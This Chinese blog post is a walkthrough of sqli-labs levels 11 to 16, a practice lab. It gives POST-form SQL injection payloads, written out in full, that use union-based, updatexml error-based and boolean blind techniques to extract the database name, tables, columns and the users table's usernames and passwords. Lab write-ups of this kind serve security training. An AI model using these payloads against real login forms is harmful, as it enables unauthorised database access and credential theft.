news 2026/4/3 4:04:22

sqli-labs靶场通关详细讲解(附php源码分析Less-11-16)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
sqli-labs靶场通关详细讲解(附php源码分析Less-11-16)

Less-11

发现该题为post注入,测试注入点发现为',开始写注入语句,使用burpsuite抓包分析

在数字1处进行sql注入

1' --+

1' order by 2 --+

1' union select 11,22 --+

1' union select 11,database()--+

uname=1' union select 11,group_concat(table_name) from information_schema.tables where table_schema='security'--+&passwd=1&submit=Submit

uname=1' union select 11,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+&passwd=1&submit=Submit

uname=1' union select 11,group_concat(username,password) from users--+&passwd=1&submit=Submit

PHP源码分析

分析发现,该处为使用post接收两个值,将它拼接为sql语句

Less-12

简单测试,发现闭合为 ") uname=1")--+&passwd=1&submit=Submit

uname=1") union select 11,database()--+&passwd=1&submit=Submit

发现成功,其余步骤跟Less-11一致

Less-13

uname=1') --+&passwd=1&submit=Submit 测试发现此处为')

uname=1') order by 2--+&passwd=1&submit=Submit 测试发现页面无回显

使用报错注入

uname=1') union select 11,updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1) ,0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1) ,0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select username from users limit 1,1) ,0x7e),1)--+&passwd=1&submit=Submit

uname=1') union select 11,updatexml(1,concat(0x7e,(select password from users limit 0,1) ,0x7e),1)--+&passwd=1&submit=Submit

Less-14

测试发现此处闭合条件为 " 且为无回显

uname=1" union select 11,updatexml(1,concat(0x7e,(select database()),0x7e),1)--+&passwd=1&submit=Submit

uname=1" union select 11,updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+&passwd=1&submit=Submit

uname=1" union select 11,updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),0x7e),1)--+&passwd=1&submit=Submit

uname=1" union select 11,updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1)--+&passwd=1&submit=Submit

此题目与上题一致,仅为闭合条件不同

Less-15(补充知识看之前文章Less-8)

测试发现无报错信息也无回显,考虑使用盲注,通过使用Less-8一样的方法,不断测试

uname=1' or '1'='1'--+&passwd=1&submit=Submit 测试出闭合条件

uname=1' or '1'='1' order by 2--+&passwd=1&submit=Submit 测试为2列

uname=1' or '1'='1' union select 11,22--+&passwd=1&submit=Submit 接下来开始猜解

uname=1' or '1'='1' and (length(database()))=8--+&passwd=1&submit=Submit 只有8时为正确页面,说明数据库为8位

uname=1' or '1'='1' and (ascii(substr(database(),1,1)))=115--+&passwd=1&submit=Submit 说明数据库名字第一个字母为s

同理可得uname=1' or '1'='1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1), 1, 1)) = 101--+&passwd=1&submit=Submit 猜解表名和列名即可

Less-16

uname=1") or 1=1--+&passwd=1&submit=Submit 此处的闭合条件为")其余步骤与Less-15一致,均使用盲注的方法解决

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/3/27 11:49:15

Freertos手把手教STM32CubeMx设置STM32F4芯片DMA发送ADC数据(一)

本期目标 理清本工程系统框架 弄懂CubeMx配置相关原理及设置的背后含义 梳理代码设计流程 SAR型 ADC 单片机里的ADC,一般都是SAR型 ADC,是逐次逼近型ADC 吗这种类型的ADC精度一般都不是很高 ,但是成本都比较低 CubeMx配置 DMA设置 对D…

作者头像 李华
网站建设 2026/4/1 20:16:20

通达信主力量能动向 源码 贴图

{}换手率:VOL/CAPITAL*100; 主力吸筹:换手率>3 AND 换手率<5,COLORBLUE; 加快吸筹:换手率>5 AND 换手率<7,COLORYELLOW; 主力进攻:换手率>7 AND 换手率<10,COLORGREEN; 主力猛攻:换手率>10,COLORFF00FF; 量:VOL,COLORGREEN,NODRAW; {} 均5:MA(VOL,5); 均1…

作者头像 李华
网站建设 2026/3/28 12:54:15

Boost变换器Simulink仿真分析 —— 从开环到双闭环控制

boost变换器的simulink开环仿真、电压环闭环仿真&#xff0c;电流环闭环仿真&#xff0c;电压环电流环双闭环仿真。 pid&#xff0c;包含伯德图 Boost电路 simulink 仿真 boost 电路模块搭建和用传递函数进行验证电流开环控制 电流闭环控制 电压电流双闭环控制闭环控制包括&…

作者头像 李华
网站建设 2026/3/30 12:19:52

【Java毕设源码分享】基于springboot+微信小程序的厨具厂产品在线销售系统设计与实现小程序(程序+文档+代码讲解+一条龙定制)

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/4/3 5:11:38

【Java毕设源码分享】基于springboot+vue的二手图书交易系统设计与实现(程序+文档+代码讲解+一条龙定制)

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华